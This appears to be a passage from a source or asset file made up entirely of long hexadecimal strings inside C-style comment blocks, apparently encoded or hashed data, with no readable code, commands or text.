955e8347514cbf53f3fc49a37068c37690275e1eb89ad6dcdd39af*/
/*2f25bd42b1834c701fe667d55b20d2f59368f37074ea985b487f4d1bec85392d317b583557f9cf1cc95a62cae390d1351af0aab3101c65cf6368f0694d7fa1c42fc245d27103ccaeae9de4a0fae229578c4c7165f078ec0fcaae7501ef9b6155eb8d4cbd745766e6615883a48f2ff7ab81d6538d46c5a169789b783b6482a5e3687c5e3841e3c0098e34a81bc937e59b824c697702a17504057e6100883127f5d8f4f19ce234e2d46cadaf1e079de59be70268a0b28603b12fd0c4ffbb0839380d3349fcbe0c7734a6055630594eb61835f9ebdf516ce77ef99658cc742796794d7cea30d004d3db6acca5024a21ffbf1bae4ff97f53b8fbc1c401e2f594badbbb6530e3df71209cd50c2210ea02fe377be5ae9f89133e2277d22a4659a42db0d7c027b97b58300114bc6cbf91eb3881c9dd7813220511ea0a9856b7b6136a9fdbc2b189399f90bb9d3baf20992c0cebcecde63867192cd96581c13500210b1a17bf1b0f92a671261ba07477bb7973df2f87875a784a31e16f7ec9c6f270e110ced89e2d4db454ef87b92be31d46c9fd7681109bdbd8d36eb9014c666ed52c9dd1f14bae765ed14eb83f460884cbcff5c0c3bcd4d3f08e9c60a7d99f83bd1d05e5202b7d27c952edbcaae8365e2b79f87e4ffeb0972bd7ccaa596a5fa6111ffae1dcac8e18d16bc7a0e173c448fcab59a4bccca01fa43893fa27cac79f1a7dbd3cd1ca375a3ba7fae7437020213f2126ee98009fc8d5cd9fc43c1e6f0f3f5b73a6770640d6ea00cc45fc2079f805627d4e8f854c238a2129567536990944a2b6c78ad12dbb6e294c3d00a747a455c85056e19eb9de5bf910360bad6a25c83e4a1e7527c1ec1dc85226c2836ff805ed7b9007c90f22d51f8baa675ccae185dfb8ed7fc7851e9088798651b28f5d0b6510732276d01b472d14a672464754d51391b17e1425610ed8e14883f7045f3dc917f0ca0292043d3aa68cb9c2756c87b21e3c4c6b04e5726900c6fc4592cce40171ee9ac47e725de30f9b1cbf80a11548f205a3b517e209e07b329c79ffac4b3acf54135cbf75ada992a5fb023fe9d4e5a90e34cc054aa5fb7d62ec0821c389ed8117c6fe6c34cff40add907171a96879056fdaf4aea23822663480bbf07bde5dd81cc040c72ccf5ca776b27224745b2254a1197944d6dbf70705c9319e46b3a182ddc6768dd763a9e3401e904844c18bd1da28acef3b85896e252af3a399f73112fee2643e7f2a07e6586d716411e41a1e15fe46ce2c8755bac6229fb97391fe720c50f3b2093bb9a698f5892f6c115aa56dacb3bc83b156e62b78535767525952dfeadcc933d8acb832ef0ab522832720cbfddfbada5e2c311626a025a3bd805269a153c8f596b982cdcbbedd48ebb9d7b18a4266de32291c4b44865fc4d464ca61e51642263b24799be0f318e6f2e4613f65f269354a55ac55f32d4f72b5c8542dcf0b52748192f797463312cf9c506053db06e2104b3d0950e22c750fea997662216be2eb0c6666a1f852a6b148db394e41e9320f953f890fb7a911339104da74a0e448c8dc467be904c106369bd287f342ded6d60e8a7afc16fe885a899b46b2e45808be19a5418811a4c34240edafc88ddbf78e07ae5b4077734adddc3ae8d3898161b4d4d0be72dc00e7cc541c9484baab3c421d0c0c5f9df3df160c8cd6e2d9ada4ae8243b2df5b9e3c8ec1d5916cfc4db701233be29057fdf4534a4a2f7b324a5b693b51b4e0e8066c80004712b70f8f61215763284e2e80cf7437064b48e73d64694ee0611da4e4ce3c03d8d138a1ec7fdd63b22a080a13595d6d7f2f8be81b65d3218ae86293de585929881744ff55d78fe3261a211f325751c955d442f4fa5d2cd0b296a3051a042f23e375cc65256f442bbcf7578ac0e782bf012b2e0be06d7076a97bef4aa6436f1ccdbf41e2c667f1d13f452f755ee15d01648826e2f05b98c3cce9b0138b8bcc9910a4c4781eabd904a0be8b40386d941e44cb2d3edcfc3e16d63bd5dc6868e45a3dc583639fe6dc5d2a723e00f47a78b0be5fefc71ddb87baa503412ee97a09d39a4f40cc617d978ebccf6eaf089906e1a81ab7b7216ad9ede548a52436328ed02244f2133f2378e0aefc9f73feb4f46f0d7a066dfa638bcb1886c779fb16b66d52a38ea38342b43a1b406793e56f4cb36fb3d0da5e4c504c654708e22f6d4be11ed8f7a66d4a6e37256e6caedf701c476c4ccc14162c0691824ed01267697bf95788733c4b8552287b26a23905011fba6e573866fe3ce4d9248dbea0616d3dcd5d37c807ff435a0f483ce63f8e8a58f00eac24ced2dfdaad8e10967e9163d3f4ba6208d46aaf102b052607fe3c863f6b43d2d776d03405a63e4de89e3a3b5c6a9b7bac7d538aca7b21c3969ee8b4a178a2a5f1f9e771924f3dc4b9186a06f248bb258c342a55852da0feb0098b748d3919e69065633ff67b742d1dbf8b82f0a69b64d8d5ca8f80a3d0b0d211a35b86ee2bf68dc258930cd949a9df7bc619b1db9d5614312b02ab1c9c30264012ddafbf71fa34b288b265034960ecb08613d0ca259442b706ba3705d937db96d7c81a8196e961cca42cfb28bc513ebab475bade62682d215e3a970bae2dedd8c6747c5bd2a4e982bdea228a920ed7214232bedd648af75707297342e88bcd5dbe766fb1d176fe5445d3ec9fad7e178f64ac9e13e4d9c5b22e3df1a040e5a86150a5f73ea39a30fe26c89693bdb25d04c6a8ba2addcf27cd4e2073069fa9327c61ec998dcba7466dbf5bb620e00b8199fa2a9d7bc35d2b0502b00565cb0b353ee85107c2f828*/
/*06a5ce5a47554e2d22bd28c63c49adb8720a9434d0a65997ab5926cd4b88e4d1d2e1e9ec3bc855693cbce530b5f3dd5d1e4669296eb6c786c62604ea94fba57f47001f9f16b35290ac48eb71c26ca599ccdc4c92cf860dea4ba0b5ffce907c7b2e59339a7c2b7eb9749b8d505d4a85da49558520c984cf8ee361c88ef19c69a694a611491c4036524bba25d6d83264aa1920c18ed4c3245f7888c604d0fb07e5f0a767af246428ab4594c48e3dc4d28c4563a318865b96a5cbe1a8aec6990cfdd54dc37a3f33603f7b3011f1d6f8429a106505a5b17b6a7d7624508470e471375a482c084f34944b87852bddb3fd6162a37aeab468f7770dd9676b4726007eae831bb01df83f76b75405ed0b1b8219648aa6de686b2d005ea54ab5a7c2fa88e36f89278298bbad2542a6483ab748470afafa25fe70eab2d39e077de241617bdbbd4a141ec8e396de28d7a1f1ae48610b6cc44f56e1bbc5d78b848e800f9123008fd1d829b3c444e821079774a7e473f7efb1d368f5c5dc1bb8900b370026234735542a4c7cb6d15d8680a7b2053646fddd278682f249c7890b6c83fc84b2e61fcd31683846d21f7492f496af09c6d49e1a71e51e9c39a8896793dff7d1cf525999a1787fac9a3184a68fc184134a7f6f42aca4218e2671dc934b1aaacef62740703e059a1d99e2b300d2dc0493cc094d34e0be45a5eb844cd85ccbc0e77120839d511ec0197d032688c3bcd58f9e41023aa2e05b377b41be4ed03358cdc7e4834437d656bd4a9132f17a7074564129856ec9b9bda28ed764de1a7d1dd39eb980226c495cf68f99b645f8609b98722eec00020a5f1abb94787751cd680d6a8e6626103a4c2a58bc3ba99b2c8ba49bd873f5c6ab820491c93da5e399347d4586cdc37c904387ec5e155aae6fe123e2b47341d6845ce7364e026f163d177a97396f53bc8e5689fa34a36cbfafc0ed9e197ae21f6a72d42bc7b5dd2cd578076976bda44391bc8d39be135884c373f4707e0b64636a7e059cb89895160f8ba05303e0b6a4199ca6e09d842b5e687cd9b031c04311f6c6fd9a47ea3e9814ddf80ac73d89ae5d6488b6c754c72f2cf940f58430ea0a3fcee2572188ffc16b7a6e013b8ddea1c97fde08efa08c3e2ead4a3ec7997c47568e9f28c5f124a8d217bb5455fef4e41f902fe91e2bf3542729bd2086fb466f567f2621f5655c078789a9547626f1cecf4678638bf066985f3c42acd264db8f65714a42778b8da5a6d502deba94ff65657b738ca1588a0a63243e5272a87b23d5a53f222b7af04077fe897da87ac3ab83deb5591b44a166a577edf4aba55e3a258e7d4c6625ed6b641ead22dd98ca988b202e48225841630305e32c35f4c5b106083a7723b3882980a67cac60c899ced3a356628e3c04ef7e5bc8eb80336583e09227384b6b6c1ba9100bc5c2292f4ae147582717d84ab2eeacae8c0e9e3b22ff9cebc813036843e2392e6721b01df2e18ee64c9d2c4a00d10ff19e18131a66baf2a12251072d1a85d8a82dd397bbf36a273505d3d621182984fa137c61c85e5953aa92ee4ef000b71e30a35c0fc545fee6153309bd6caa8d33e0818a8d3309fc02fc49eab1dacae7f20424a1f12ffc02f457e9c2a19882279cc019039a62fbd4eff9d4e95e87afd280ea44bfef4f5924b54e1e179cd3d77fbc325ad66b25458104ba124550e562afbfd1c9eb82f5d0d85260edc4f1d065f643633d6e11f72c4fe0d92b83d4790eeb264ddd8ac7e9a84ed60f31342b91de0dff2e8e98ef6640829cbff79276574c9eb4ef50accfcdef380d6c77c57956fd1e932892fd597ce548fd8eb596dd88bf805333f01db6b60ee32a92417ac0473b0d9931443655abc09b545c4398c5c7be8a8cc57e2dcb3d108b3a8c3475550528c09a3f7beab1649534f3081942e03a1f9b37b451bf2574e399169af49e0446b9a8fdbeb261aa95528cd20c905baa8eb48a64f03383e2cf915ff91bcdb7d5fee40320f49256a181ccdb2c01b200a860a912833deba489ad9113af7a1bb6d7c13b9d6f09b9afe96050702917e0cc30dca446cfdf28264b04ad81c632559dd6fa3d2fc4f8f2737df86262d5cfa601804e429567c97d00d9058257dde05fbe29e61f31a4f15826bb3247ccd8ffefbd538d5d245819f9c45c8abae3d706ff4268af4318735b17b0818a2c67cd0dbdfa9e30e54831763ad8230a7d3ae4af465428c536cc7f1f5e0b8995a68ea4c2b083fa5876fc5161e89a8a9dda22698ceb1d24eea87ca1f3b7d75186029bd1881a6a14281d58ecb8749abf5765b50145ce3a25ee4b6f9b26d837e8494e53a79b88421f730ccf2d6b4536362364d0ac838eacbb408acefb12ae51aa639736add35b4d7a1ddf9182e47fe298962f72229f5d7f1b6bb74d90a44478174f8c8e3d4b86a1ea44f8ea2c893c49f4594484bf98b21ced86c80c8935a2b6248a2e06bf22882dea443aab198c9616058da4272b8c66ad0187f9234faa1be64a2ddcff449c1160b37c3b85feed770c7a54ec877720d2676d774cde2b88e0884fdfcab09089976a416fc1730432544609c55ebfd020a136b6b61cf59feecc465b3f5f67161b7887d91045986fca9ce85483af731baed613b62bf4ad99486c59b7f6e24dc861fa665a8607a412376e3ade943dd1a0deb3be7221b95a15b2171daf2b9e3338d6baab5e08134d0ee11db651a34fe55ff7030d57588ddbe57173ce97571d9bac8b2d9ec5f958b6ad56c960e8ea6faff6adb1cb4521d137cb6d6867d9b046a9dc98d5f9b284c00fdb1cac94db2e25fa3002508e1d70e8663e17a5a0e4*/
/*d657a4b6c5bcc813eae75502b79497aae4093de06aeb283645cf273da7eacb2eb881cc002c636c19569ddc5340ef43bd95a78f8b0e76bda05796afb93aefeb1eb233f2422691741b6fd7e07b7c1b176a94c759b5db909c0beee9ce40b2eff2fafcda451f7321719da87893ed0e80e7992a30bfec531289739d25e299f0fcf6292ad0984d1fd7d0fd97495c7aab1a68abba74e86f5af7d40c4471d4bebb7db31877181608fcd633272ca686ae6c8f2bc59c7f263c7eae7ee781013e5641a354d6c3048c104fa8fa01db26e13f452d998be245d9a20a940a4e506fc68e907798e24f2f54a1a10bff7ed6e569b1cae19902aa4c0a1559bdb54c892a5de60476b106c8aad6ac27fd983a02dda23cc5265022ae459c8d1176988229c86971d8bd6c10e3794414e6601b6cfc47b2c26318b31f7cdbccdc2b4e8650ea059bc1683ffc16a2d8a6dcca54fc3f3b5c519e0811eab7494577051a11992e671d7cc27b8c79bbee300d904f261f574dd4f0cf5daa65b2407f0b826a17660b7da7a0fc7833d1bc3b2470a2110f548750a3d7da26c47139934797b7556aa75eb8d294dcf60340200037b4f98e673859da410f28f24136b1a2ef146955a9df07ce51d6d2cf2400ce2c32fe0874317597488b6aab38a1dc1bd22ee745cf97da8869f5795602177bd0a0825f55d26b448a99bf1ea08336727ce8dbb84e8cb98d71a406e8cd261900bf8ba9693e3e4a62d4eef3bd4523428b260bedd1a1a684dc72dac9a5c0c07f1e37559eb3c6dcf0feeb715fdbcd9d0be76e113aecb36a45e51a653ca30a6a1e9bce86fd142a7df27a3ee26ac1b1c6ee0f5bdcf1c56ba6fca902044ebb17908ff11d8a2b8dc2f382af831c3166b5fe6cc6a5767a04b234adcd0166ae0c1aab4d88dfa4a96595e7153a69d21e5ebaf127d74eabcc8a044b10b30a28b464e4f0bc8923f39b79e6fe249ce5ff57c08a9fe1168e9fc73b0f3b27891017b8bc5ef3574bc6c6bc041e5c48f9fd47e147104045cacf51aad910740fdf2021e562bee3e147a4bfaf2e1e6fe7b692137904601cff97b936de2f5f61446b0f4bbb4a22113507111ca53b7d7594b564f9c39faa03de8380ec85ae140b8cb5c274bca3c53c60ae36ad25749dd93e14eefde6e98c3bf4ad1c128824d6e1fe4fa1f6990492ede097d1e6e45dfd577829e6973e5e5ec0d415e069437c1ea26fa6a7da184f00408bd5d6e5303df463981a18bd5c1f451cd48a6e05b749d8d3efbe504894be39fdcaa21db92bde30ef3d36e2a14455c0af25fd01760a901c824427b27561f70c7c022c60e0036e2335f3b7e97c84dc0160a9adf6ba3f2103c0c890413d1af84d7484d738accf15c09c36ef56b850040791c904c3beacb38185f9ad7512600a0dadf4f0341f16f61b48b348ec07d809dff515bae0c20168f93ad1105d5e0033f28bbdf4f0eedbc45cb5f6d81ca8fd8814c7ccb45a1c0e46fa7f53891430082059ac5f269a525015ff5049d8b465fd008915e1f3a9620a1c274e13901e0690ffa6bed18c85d776b7458f3de31b262015d8ea6e378d3654098f28cc4d508aa70416e60699190dbd430aa55f7d09f141ac4dcdc0f5e32fec9e40f16d18344080f7b616c1b4d4dce356c3cab30c80ad65ca1c3e164a503c7de022231fd13c09ce695312288980e5c3971aec3006c8319be62904a6be371a924ebc3760e33f6dea6090f2cd89564aec3ff5f222e406fa999025d3d79eb1cda8f0dcf5cd7299f15825f40a921f35b232f1ec14e5501eb2fd79e6d619f803840d0cc0bee15005e9a41c93642e293f9cbab64b027fa20cd2a6838df225baac1dd3e266caf48d28e040e51575991debc70b09807b3e6f3d184b7021a58c664c4e7697b1d7b36f8d1d7a1df8eb91fa54db29db00f32023fc0833467fb4ed5cf5bbd00a6c88ce3a9499e8eeb350cb0bfe2ed665d7377884d9b9c691df542338aba7248d4a64a5bb9f2e2f1d4bf47f500f7fff2dbb12cb9afd077e9dbd2673217a7844f99a3b228e76b1eef8171bb112107f72b0e612ee33a9f87a6c5e51e7d273bda293b09b674253bfc0ea4dfef6b1c1a9ce61abd29e78c2dfc65b642677de7dd4157a278d8560681bef161eec726928e5c517bcc02f29453a805283a703c587a9f287d2ba458eb9eaa5c97d4e1336203a6075abf7e293c9827a33366c38ee58437faf9c7efb451ccf60109ae679ba399f74bc5fa6c5d270f208477cf108f44d2ebcae2334ead757ef0e39de276b0381991656a53ec1a5d4ddd96c3adc239fb98c757be047fad1765e01b5fb1d46226be2e1c401c298b43da4c660891939a0ba3db122b40b99c3fa802aa9546372ddf6fec34840b3c1e5457ea18f4c3103df9758867a284df67b7661d1bdab3285d18f47a4567994a55d0f1fa967484f392370142a343f4afa303f9b6f0411f03668118f98b8fa6df87309308d3d53acc4f8b0bba3af44b953504fe02b5b366a25ddb501f7d2b9823eef490e9c1a92184e4aa8c3cf3615d49d5bcde6ea6d4150a9e3f239ac37ea5b160a01dc6810d0c2b4ebd0edc35b42d284d6d90dbab1fdf6e04b17ecfe158789fbfdaab63de656b97faebb5460e87cc6d17e05dab2b831a8668644f1aec85cea81f11b6622614062ac3f76932d9f6c2a4c7416d67b7fdaa72d9a5645a86913ce7bf1e1d8f7c4f0dcab6b0d51bce1a158127f0d533788303d4fb447eabc1d6ae6df6b697c60ac2b0f11976b4e206f081498a432ed220c7003dedfcc727d2a992b8d25f109a8d830d67d9b8f4f5eac86aab32897fefb733b01f482ebfddfbb72ea24427654d1f6bdf0418307*/
/*66793a9c394a2bc18eb653d20bef005e037fa179691f0061f8baa548cdd1fd7b98c4a5a04d50c51be0e7ce1f62136776c95381f1ff7fd37e76294f3b57422c8c4d43d6c330c9f4c1d4e3123a4775548a4e0c73f9c5e3133a56aa60c6244c8bf011aea7149bbfffd16a4f7063a5c0d0ba8ce3ef3bf2fbdfa9cbd35d11b10cd984e059922bde7419a7bd9740f46df3306b964a9d3967f0c1e36f21adca1c0753a8d03269d66727633362e5e23bb7d6622cd86a7c51c84fad60d5dc00f3992747bec9df5058111dddce241ddfebd92b852588a7db45dcc099d84b7bb7303a92474ae055e8eaec8a5a242563c7e3e626d5e254f0c7f0716b11a10673d8cf9189910796a6bff7768331854b3d3a4b0b25e80f1c82bcfd550dd5bf13e6d2ced9e781ce211e377074fb7b4f0da53b082b8e57b1e0373ec024716ba132f447fef88dc74744fb8ec9724685b0276461c682eacb4bd1c355ec59aa003b0218cf4da81242277cc6ec986cec1bac8539d537cfe79d155f1bf61397a7731e7a42f8ed870bf771b4c8ce984150933459929bf23805d17bfa54b2174f80abd1f2a2e167799efeafb58c70d8d82bfde738788d36fc33c1da9eb195161f32e57566e26c98bc4ffd64c4c76c9c99d3e94a42f4ea33eff95d1a9a3bcdf115f4cbf01d937396b8a676135452491bd55f9ae86680982fac81f32e32e7b61a723f3077fb409b26437764c258f3bbc4df8bd56d5957f36ff6cbd1399be5b0c913dc93194d13a2a785060b1ad7dc5aa4c1124d36013885e34a28190f337382be6331c3663547b55137e75b0df4b7d283dd9a7b9310a6cccb9777aa3b17f1cd6ee6030832f3d3019cf547c3884da3906ac1f78a5264949a638c18ae82d7142372bf47bef0e75acb978f50da062c5bbb3f05901cf4436db0eb1bb4076898c3ba9d03e40357c16a63ea034d0b7daaff43b0db15f739c3ba5e705b31ba6e2a2e1ffb96efff6f19c235d545565eed9c9c06fb3c7f6dffb317da564e0143753bc649212be4f18a7adc44cce553809069726ecb395a3e3ab1af858d258816fd8bf99b28eaed07d20c6969319ee9b060dd1a563b155a9098011d5a0cb3582d7df009b5f75661ea26177a03097cd01175e468c884138d8209876ed4ab7ee26deb5e648b3d9e105dc07c47541f86899a48501ecde33ca2ed36fa87090e94669b9881661d144b70ed1185ed212721ed45a750e31295c86217b3b21f5bfd3583341c60212d5f0cc425fa84a952855535fd924f3fd65312304777230fa23e1810869d89dbecf551fc825efd194caf7d8bd20290439791a31d418fea1843b702f5f864250aa2a8b5b0471ff7f6d3d510547e037ca6b4468290d3a5f3abc930172c74cf79a6f20120b55e9738138af294691494fb857ef1d85beb72cbf976bb6d5c7c804f6f6a64d072eb3efa1ff21407084c3fa701eb3e30567886a8f173985e8af9da3e4c9d88e7315eb718869ebbd1fd519cb170ae320e0d6a5423d8f7870619d69352ab89ea85b4994d572a704188060fdb7c02a38f12e4dbc14073726ab5c69a7201aedf10b379d65c063370cbae54619fc45e419735809e291b8c93084c6927f725f54b3a47ea31c79be6cf9ef05b02d10f5c45ce8306ac9cf53e2b524f5d7597599dfe9548267a31f9bd80201aac1676728c743b9c91af5b7dce92b8e4ca2dad7e7eb8e560ad921f6d095b969b0b532cdcca68a333ac969da1438dcf9dcd0d44ae6511528c82e244b550d4c2c78548c8122419b75ab8dab5362298e25eb1f94869c4829218acd3a8f840b9ea5cc51428a8cfd2f648e193669d649151959053702a80d357412f924657a1776ad41a09f672319599ecc37341749979c6a1283f3ed7629acb833514d6bbe79534ca58b2f183cbbcb7bfaf272387ad87dcde7db99dab4fe8ba9e81cc202971efc53509873051143a74b01f66901968b0a063d6396bd48a2cef13f8e03aa82a860837cd55817dafa7785f328bce85400eb7fba63a889acc817a2b4297538ad86788f77f0c3d660346d1510c3adb03211b10e82790a070f085b36b6fb4a6d8030f81b13ccb321af180f63d73106dfda4ed202e441560e5861b2e9fcf3f4b8500472897247399bd274a13ef4e1547f32167228ec16e68caf36f5c5b9ce0d609c945689cdf510b40d4d1a169eddf1820daf835c4163e3391cbfa19f681f25cb2d77694f383ca9717c49bf1c695cb04b316946c89fb8e694c44ddb0153dcc27aed4f234a0d5f96c4bbb3aafedbd9d39e2b932b9c72ccb6b320332a088eb7e8c06d3dda6330831b3ec9858589bfae9daeb2ddddc4217c9d0e8875653b23b83fa8bb4e88d0a883be6dcfc21b5c856efe8fed18e2b34b0d38e6fecb62ebf909bbbcfae902ee00ee08f620108539cd797de23e1f115a4f08ad435ab494990119af5322867d2d54379b12ddc8725534c10f67243858ca9629fc9b5aa58766197ac43ea8fb4fd54b5e4990b5e8f6891779ddae0f38bb3d07f9a4eeffa930661aaab446ef1155220f50be977f98f9157602b0cca56b289de114e15b0c4e398003390bcc4eb1f2a2d2845aece4c3932d766226a8ffc79a6edeb6dc06cea98a1268caa273881503dc4a2dc63f05fcc262744154e10eba9f0fdf3c92789b52584ee8f6d3f316d1d39c74ef28d3653a85dc5c9fee97847fe92154a677302c76ca2233f543ab8b9022a4f9b0844b5b393e6e4412c18b3e559686838031478599b57d09f31916679c48c7cd9167866295da5543abf1adbd9f8e179012df39c801d964ab2a1b2faac91dd737c7f8dece161ce37b31d9bc472ce09c54d9797*/
/*43a77f5afbd6b97721b2960ac76acd16b34366e0a3b08cf0bb73505f0b95d1e7cc29088eaa1dcf529b9ecefc221e11d0c4e422c480bf94f5880acb0fbc0d57a2199fa0db427dad0f95bed9fb99e203b25c1beface5a3f32f6c20a2dc61db577449ce17b16c3b4c1afd897c6802b3db57b8b0c2a8f9729c9b75bc775a36d325dd19af01f65b45213713346ddc07bcecadcd65ca68dadf6e1ef1934c02163fd52afbd7e2195efa4c08df90003690fd79723072b125bc2e0e760e06fe3f8fc85cccdc681b6f3e3cb0ff03078dc22a45bfbcdfa67283e9ff604883652f3a6334f9d7cbafcb13226e8730c17afe01e88bf30bcccf6a12a49b04d358ddef409070601707a8c46128ca3556824016f5462b046510a300d6f2720d4336a6fa023f9b5abd2c4e528eb4a620c373e1dc0d0aa7b2425b680fa0181c9a41a4e1374a4be86a4381a19bbac8337d7cdde1775b156d6c640498438cb024c57931f20259c85176d1e76f0d11171bb778be2bcb948ecb2587e765cf940db4f5c18b222cb9e56f487de8d269732db45d102128cdefc5ab269f1e5c1227e09c69a666b345cd685b1d24568a3aeef6aab1d932ac30edfca853badce7e53e86de2329fd8d8148930ccb23885407b59e4bd070a0f27cf92be7be3bc1fda53b5eebdbb68620001b140cece8fdc1f44660fb9d3326de57ed158ca65946b359dc67213d1f6fb19f1600b7ec37bdb470d56ab448a2b4e1b4956cce0510bf2befea883a5e8f2028469af364d359eb25bb99645eaa675ac8896b9adc6437ef59d944f977451893af9e58bbae3aead09cf0d0b49c570d42e27bedfea058bcf6c6327b3f90ead11b1c04d196de7a387be56629fd5198784ea1baf5231bd20caca3abad3bbf91485e9b83b1f107b94eddea1669cb1b1d51f427685aeef6e8c528f46502c1ac15be3f95049c9309a8d932c90cf31cf8a58854667417c672691a37e39ba60629f0811248502efaa7bfce54d89ca2514b9d0d2f6778d624336404acaee7822e10b8c192ca2e70c6eda7f3fc07678c5d14f35403fbe52e20ea0dc12157587b425ff6f9564f8d680f9f9007cc02d1a1b9727559613402b1bb8cbc1b39b3732cb3ce0888e936b17085fded49ceb74e91e462d891612a56497f7db58e92a507597ecdfa058392945cddc264c4f73adf5508da14b1821af7c9fcff6400f35b7a0641a728b95085505241620ac173a33b9077d1119a7d1e4cb7116b5a210c2bafba0de21e7f04b1825b144a2636782aa95dbd967d5902658ef74d7a03efd7f0b8cf78e2e8b8621095fc6ca7d7f5ad87624afceebea773e38ee39f6e8b7f29f2c4312205482d147c739d526e93cad05d23b58cb7e82ea50de0f1e3ad9c6debd757a005572e613ff5db95514147d8ac5c71517b434fc7bc0108bbc8e3a1fb6c6c0c42d565128463d467c4eb828372b0c64112bb238eaa95208d3bbfa96b65fe9445b0d0edbe57592ed78663533460243d446ed183a54f62e6463e3fead518c77b9377e018b2b58c6ebeab1bbb5f046f3d50203a237001406fa78399a5210e24791be6b414a45a0daec19874109512da08f7ea3cc0a65ef4ffc0cbb66f9f87415efaa3beecff19a9733567f3ffd83a2c28921d332bd64b37b745d570189c38a1665ee43fe88e30405a656217344f767a5db3b8cd197645d75a80d0239b65b35d2c1168ecc12ea8b28eb64752a7be3016b8a8f914528b09516ce51453b8d95e379fbb2a5994d2ba350e4d80db2292b3d2b58956fb6acce29c05e48911a7cf3df727be16c561afd55b1073f2f53a025d5948f310ded215be2c5483dc94c889dfb8e8a719bbb5a90e3de1b39d0aeeaee4c287bab36eb780c52b665272eaa38bde33efbf77e10581ac0f85f7f220e42c9632391804b4eec45b599c8c66fc90659247a2a7d7e8fb5b49f4d91216423e640fe0d7cd68313476533201caf230dd59c41043f661d595d56be25fb5a184f5baa2875d38c4b080a1d483cc611431b58fcce29639cf098184fdfb6ee180dd0efc4385a365ea8650eeee456cc0cb9c654816364377907fad1da161d6008f793315c0236d2d2e4f851190b336fbe31d44b94ae85ab4464e0023e7a23b328484c1dd432fea8dc96657b37eea8f247213be71283f76d588fa7d7ae04242a739f1ff1f070b4c717b919d3cd10899527ec1974252dd81fe99a83df1fd02b3a410d978a185464a94b255d301b7a233ff9d139c3e647c458b9f4e48958e48ce8ccefc0845e3a196e2e4735b102249d584bf6e02d2102eb9ad268f67f665f4a64ada54788433d8c12ffb7d8f759a7f9a6c47fb60c1dcc8eb72c7fc96ffd5d2896f377d8bc10bcdc772aa6b26c07afc5f86bf09ac5dc399a25846fc9d095dfbb21c96695ef0e041d6da6ad715e2ec1a7c46a935fbf1b71629470e7532542e9cbfcd267f56800507a3c646b997263c66fb2a4a8617b9ee9cefc4e810306c670d7b4cd7b576d6b402eaf6bcde985b6c52736d54ca422481597e96bdf8c8e6f2bcb43cd6dc77e23edb0122141af10f3ecf4fc8b11b144d5fc7f69bca9bda2de532ded658341d540596f01424c704283374c7b8e194aed8829ab5bca16879bb8f1261171838dae8dc6fc54aed56886f644b0af8c8d0ada1fcd52a0adbed0c4d99ea555c566a529dc5209fa0f494d055025f68aba86fa27f08f52170df0ffff342d41abdaaaa680af28e7f41359e2d0b698547e47b41edaa7b7109328c9f89eee55703d20c6937c532b207ee05681ecf2b25b96e3b4f1252067dc3d93bdad0ff1bd76ebf75382ed0b10e085eb3857734b024f5c4fc3ce17414*/
/*acff0c49cb2959e61efad35fcc22b3fa7c14d4bef49da1dfd2cfe9c18762e49baaa33c3294449c7e86787113052866b2b11e4b42943ccd5909ee48a14338ee342ce27a99b7c1626eabf8b2b4ccc0a18eca7b78b2a909c28b80307c48f6be7d33e380bf9fb3835ef6063555ee4aff59bb4049ce9266a16054db607dcda8ce49106e4f40621e561ed3fbd0b3799ff71a7f2c8639cc1dc32bb133953e8e5a308132a4e52e3677fcfb83c41f814710859fdbd294db1bef9a727fc43a8eee39373f106c321d509470dec30405e3624a3db9b4e626cee5ab1948e08650053a1d7a87af83a1dd3ec65410bf187cbd5b083917655c40dd9b5d7e4f01b09b97bcebe2215001dadf6b347bde5ff5fb695df4cd877d1ccf9519810e3748538fc5f99ac2d406d4548125c3bcd92a6e462a3df5973755d68f1eebb3e16cd42e201e3f8d4c79fd3b88525f8dca1823845073d94afc163d4e395269980094cc982ae1413ecf9c3309b3101737c6b689a12a7b3031bb4678788665cf52297fb073858f1c76e5726db429bdb6ff3d5a355770b8af40f14e26df5b82ded501416cb21feebac9bbd7f8b94bdc1cb293fbfa1857ca96a41bf09093bb1a32e602bed0958f61d0456a7db3a1b2fc0f9c33cfdb8ad84df23db02d50e784272cf2a632a4bdf99534d135cfa88882a5d7f1f13cab19bd0ff8f402549a4c11d363f1358c89d1731e9f5ddc97924aff75cce14514655cceb43b136de2d6c9f56ae714489c64229817474c0806b52e8b8ccf2e97eaa410d5a83ab87fb4a5c481ce5d9e9a2e4b7702e2c792284b6977663f7d6c23892cab3b6cf7c50cd071ab0b86c3e044d366187d182053c59f078f0ec7dc5d2c40d428ec1576565d5b9e7c2404d371625fe817be98fca5e2f5438cbb337af8297637a7e2f98da3224b7360f70de7e75af60b44847e52b79f4b6832e15fd0a2194331fd2eac50da9549da36b618957f6fee1c0e2e2d28f3b20796366f95e207072adfde153353fb4bd8575ba553ad451f334ed462d7d9ab4b45a39c81252fe7d899d801d38c44b2c19795d44b65dfb21540a0da50599a7eacaeaf62e89167a61e9d5374715accf8cb99bf019a34846ddc17b8cd592441d9d3b161c1c8b2c75223c554f0de45bd2a07e50fd6563d71ca4e37875955e1e4d76605657010d885ffc17fa405235fed6471139de335285f9ea6a62c834f5eba862e0db4d4a896b076908d6b77f38188930a98c2750e154f58030b47111fe9e66c1e864b03e910d0b7957530a2084dc1411d9799297dd13dbcee818f494869bc1d487b1f3e9bf58d0e99645a7e3e89182ef6f95e03e4216e3e98bcacc4f4a6ac7892162d1b6ed814fba48a936476373475c397edcfae8e7ac53e6c6e62f082e4d2192e600545df8e44810a005a8006d4432810697f939b3196526abea702953f4ccf468baf0113d16570cd006acf3491ff417d904d49fac50c8a9c850a4fe75da0a188e78aac29d404327211df2a284b8136a3e4dccbfc763e9f1eea6b8042e0086434c7bd15da1f2f47a654c499b9327f654342a0da8339b65e51ec6b86e4eed21a1557eafc939b10ea59f9fd2662ab607117c97a712fb551e2c4794714d4cb3f3780d0f39a2b86c2f3635c76959bf4d6cf985f326330a832bc20b05812c0da19714f4a993194a634c0b5b6784e695c7455d7d20fd392d9b02934f5a45da8b0e69177057f82ae41acb7c5b181e66b0371f6fcd872f3f82e33d3cad7f1ccce75fc6aa7c828544d9823380b1e645284ede2fa8d43fb695d9855c66c9d4d641cb4a0d5797411257ab3dff0471ae4311da240598b0669d10bc98b6e29c50da5e4f9f0a0945725133cc9dd0ffb78a550208c6166045ddbd3c7b995cd877feaa98bb2210d82e5b8231033262510b56cacab48c7abd289576367df42c1778b11dd83db936a18cc8e6478ad4a675c63f4d5d09783a4da567fca429d4547cff31c223e8e50a5e585bec5454d6ffcb3bb6a7c42228e4e2af9f9879e4ac468a1256d093ae260c34f46195c9b8fb064764cd2e2fbbe44e